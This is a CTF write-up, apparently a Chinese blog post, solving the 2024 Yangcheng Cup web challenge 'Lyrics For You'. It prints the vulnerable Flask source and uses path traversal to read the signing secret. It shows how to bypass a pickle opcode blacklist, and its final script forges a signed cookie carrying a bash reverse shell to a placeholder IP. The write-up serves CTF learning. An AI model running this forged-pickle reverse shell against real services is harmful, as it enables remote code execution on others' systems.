【2024羊城杯】Lyrics For You 完整题解

这道WEB题解出来的人不少,但是看到大家发的WP都是有问题的,压根复现不了,于是拿出来详细讲解一下。

题目的步骤可以参考:SekaiCTF 2022 Bottle Poem

app.py源码

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

cookie.py源码

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

开始按照SekaiCTF 2022 Bottle Poem原题步骤

通过读取/lyrics?lyrics=/proc/self/cmdline
得到:python3 -u /usr/etc/app/app.py

拿到app源码后再通过库名from config.secret_key import secret_code拿到secret_key

路径为:/usr/etc/app/config/secret_key.py

得到secret_code = "EnjoyThePlayTime123456"

于是兴高采烈直接贴原题EXP打,本地触发成功了
在这里插入图片描述
但是打远程的时候失败了,发现跟原题比多了一道WAF

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

在这里插入图片描述
在访问board路由的时候会进入cookie_check方法
在这里插入图片描述
cookie_check方法会对Cookie中的user值进行黑名单检测
在这里插入图片描述
我们用原题构造的恶意pickle是用了R指令的__reduce__魔术方法,在blacklist检测中不允许出现R字符
在这里插入图片描述
因此我们用i或者o指令编写的opcode就可以绕过了
在这里插入图片描述
于是就出现网上公开的EXP脚本,通过测试直接将opcode放入cookie_encode跑出来的payload根本无法命令执行!
在这里插入图片描述
可以通过调试发现,真正触发pickle反序列化的是cookie.py里的cookie_decode方法
在这里插入图片描述
而非app.py中的a = pickle.loads(data)
在这里插入图片描述
pickle反序列化触发的顺序是从app.py中的board路由get_cookie()方法
在这里插入图片描述
进入到cookie.py的get_cookie()方法->cookie_decode()方法,最后在msg参数触发pickle
在这里插入图片描述
但为什么用R指令可以触发用i和o就不行呢?

因为opcode并不是__reduce__魔术方法,需要直接pickle.loads才能触发

在构造POC的cookie_encode方法中,会对payload进行pickle.dumps处理,所以在使用R指令的__reduce__魔术方法就能被触发
在这里插入图片描述
因此正确的POC应该是要在cookie_encode方法中减少pickle.dumps处理,这样生成的data才会触发pickle

对cookie_encode方法进行修改得到最终POC
在这里插入图片描述
最终EXP

import pickle,base64
import hashlib
import hmac
unicode = str
basestring = str

secret="EnjoyThePlayTime123456"

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):
    value = key
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

opcode = b'''(S'bash -c "bash -i >& /dev/tcp/IP/7777 0>&1"'
ios
system
.'''

msg = base64.b64encode(opcode)
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
payload = tob('!') + sig + tob('?') + msg
print("payload: ",payload)
get_cookie(key=payload,secret=secret)

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小古_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值